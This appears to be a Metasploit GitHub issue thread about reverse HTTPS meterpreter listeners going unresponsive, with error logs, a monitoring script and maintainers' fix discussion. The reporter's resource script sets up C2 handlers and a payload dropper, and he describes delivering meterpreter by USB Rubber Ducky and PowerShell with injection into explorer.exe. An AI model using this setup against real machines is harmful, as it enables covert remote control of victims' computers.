Reverse HTTPS listener becomes unresponsive after a while

[PhilipWerlau]

Setup

Using Armitage

Resource script

use auxiliary/server/socks4a
run
use auxiliary/misc/dropper
set SRVPORT 80
set URIPATH /foobar1
set PATH /foo/bar/payload
exploit -j
use exploit/multi/handler
setg LHOST www.foobar.com
setg LPORT 443
setg ExitOnSession false
setg StagerVerifySSLCert true
setg HandlerSSLCert /foo/bar/cert.pem
set PAYLOAD windows/meterpreter/reverse_https
set LURI /foobar2
set ExitFunc thread
exploit -j
set PAYLOAD windows/x64/meterpreter/reverse_https
set LURI /foobar3
set ExitFunc thread
exploit -j
set PAYLOAD python/meterpreter/reverse_https
set LURI /foobar4
exploit -j

To summarize, I have 3 reverse HTTPS listeners listening on the same LHOST and LPORT but different LURI. I have a custom made module called "dropper" which is just a simple web server and a SOCKS4a server running. Meterpreter is installed on the victim machine via USB Rubber Ducky which uses powershell to download the primary payload from the dropper module. The payload contains the meterpreter shellcode and a modified version of the Powersploit shellcode injector, which proceeds to inject the shellcode into explorer.exe.

Steps to reproduce

Unknown. Everything functions properly for an undetermined period of time. Active connections are made to the listeners and I am able to interact with them as expected. Randomly the listeners will stop accepting connections. Occasionally I will see one last session attempt to connect only to be closed for being invalid. Metasploit will show no indication that anything is wrong. The jobs list still show them as running, as does the threads list. The web server also still works, serving the payload as expected.

I've tried to replicate the problem, but have had no luck. The last time it happened after ~3 hours of uptime and handling 4 sessions. The time before that it happened after 5 days of uptime and handling over 40 sessions. I also noticed netstat showed a lot of the no longer active sessions still had established connections.

Error Log Snippets

[07/13/2016 13:11:17] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 24>
[07/13/2016 13:11:18] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 24>
[07/13/2016 13:11:19] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 24>
[07/13/2016 13:11:19] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 24>
[07/13/2016 13:50:35] [e(0)] rex: Proc::on_request: Client closed connection prematurely
[07/13/2016 14:09:43] [e(0)] core: Error in stream server client monitor: Connection timed out

Call stack:
/usr/share/metasploit-framework/lib/rex/socket/ssl_tcp.rb:240:in `sysread'
/usr/share/metasploit-framework/lib/rex/socket/ssl_tcp.rb:240:in `read'
/usr/share/metasploit-framework/lib/rex/proto/http/server.rb:295:in `on_client_data'
/usr/share/metasploit-framework/lib/rex/proto/http/server.rb:161:in `block in start'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:48:in `on_client_data'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:192:in `block in monitor_clients'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:190:in `each'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:190:in `monitor_clients'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:73:in `block in start'
/usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
[07/13/2016 15:03:19] [e(0)] rex: Failed to find handler for resource: /robots.txt
[07/13/2016 16:56:34] [d(0)] core: Session 44 did not respond to validation request Rex::TimeoutError: Operation timed out.
[07/13/2016 17:13:17] [e(0)] core: Error in stream server server monitor: No route to host - SSL_accept

Call stack:
/usr/share/metasploit-framework/lib/rex/socket/ssl_tcp_server.rb:71:in `accept'
/usr/share/metasploit-framework/lib/rex/socket/ssl_tcp_server.rb:71:in `accept'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:147:in `monitor_listener'
/usr/share/metasploit-framework/lib/rex/io/stream_server.rb:70:in `block in start'
/usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'

Info

Metasploit version: 4.12.12-dev

OS: Linux k 4.5.0-kali1-amd64 #1 SMP Debian 4.5.5.-1kali1 (2016-06-06) x86_64 GNU/Linux

[Meatballs1]

Have had similar :o

[valerianrossigneux]

Observed the same behavior. Could it be caused by robots hitting the handler and somehow breaking it ?

[mubix]

@valerianrossigneux Are you ok with tracking this issue here, instead of the new issue you created? in #7513

[mubix]

cc @OJ @bperry-r7 - since you guys are working pretty deep on Met* right now. Any ideas?

[valerianrossigneux]

@mubix yes sorry poor bug creation hygiene on my side, let's track it here as it is more comprehensive.

[mubix]

I've created a simple script to track when it fails without having too much crazy happen on the handler side (I like my logs clean). It's pretty jenky but it gets the job done. I'm curious how long it is before it breaks. See if we can get a consensus going "mean time to failure"

#!/usr/bin/env ruby

require 'net/smtp'

def issue_alert
    thetimeitfailed = Time.now
    message = <<MESSAGE_END
From: HANDLERCHECKIN <root@metasploithandler>
To: Rob Fuller <mubix@hak5.org>
Subject: Handler Checkin

The handler failed at #{thetimeitfailed}
MESSAGE_END

    Net::SMTP.start('localhost') do |smtp|
    smtp.send_message message, 'root@metasploithandler', 
                                 'mubix@hak5.org'
    end
    puts "[-] Handler failed at #{thetimeitfailed}"
end

def do_test
    result = %x[timeout 3 openssl s_client -showcerts -connect MyHandlerIPAddressHere:443 2>&1]
    if result =~ /MetasploitCertificateOutputRegexHere/
        print "[*] Handler still active - #{Time.now}\r"
        $stdout.flush
        return true
    else
        issue_alert
        return false
    end
end

test = true
puts "[*] Beginning Test..."
loop do
    test = do_test
    break if test == false
    select(nil,nil,nil,5)
end

[mubix]

I'm grabbing PCAPs while I wait for the handlers to fail. I have one clean PCAP already (small amount of packets) - I'm waiting for the handler to fail again to do some kind of comparison one what might be causing it

[OJ]

I've seen this a bit in the field as well. Thanks for the repro script @mubix, I'm still hoping to get to this soon.

[bcook-r7]

Any lead on the pcap-of-death @mubix ?

[bcook-r7]

I believe we fixed this with https://github.com/rapid7/rex-socket/pull/1 . There could be even better fixes by handling the accept processing in a thread or not blocking in the first place. If anyone can reproduce with the latest release, would love to hear about it.

[valerianrossigneux]

Hi, I'm on Kali Linux, how do I get this update ? Can I get it through apt-get ?

[busterb]

We haven't tagged 4.13.1 yet, which is the next release that will have this fix.

You'd need to be running the git version or nightly builds.

[valerianrossigneux]

thanks, what is the ETA for that ?

[busterb]

Every Friday at noon CST. Are you able to hit the issue reliably in your environment?

[valerianrossigneux]

Yes it's quite consistent, after 3-4 days usually I cannot connect anymore and I have to restart the listener.

[mubix]

@busterb thanks for looking into this, I will post if I run into it again

[valerianrossigneux]

How do you install 4.13.2 on Kali ? Should I add some apt resources ? Mine says: metasploit-framework is already the newest version (4.13.0-0kali1)

[h00die]

You have to download or clone directly from the git repo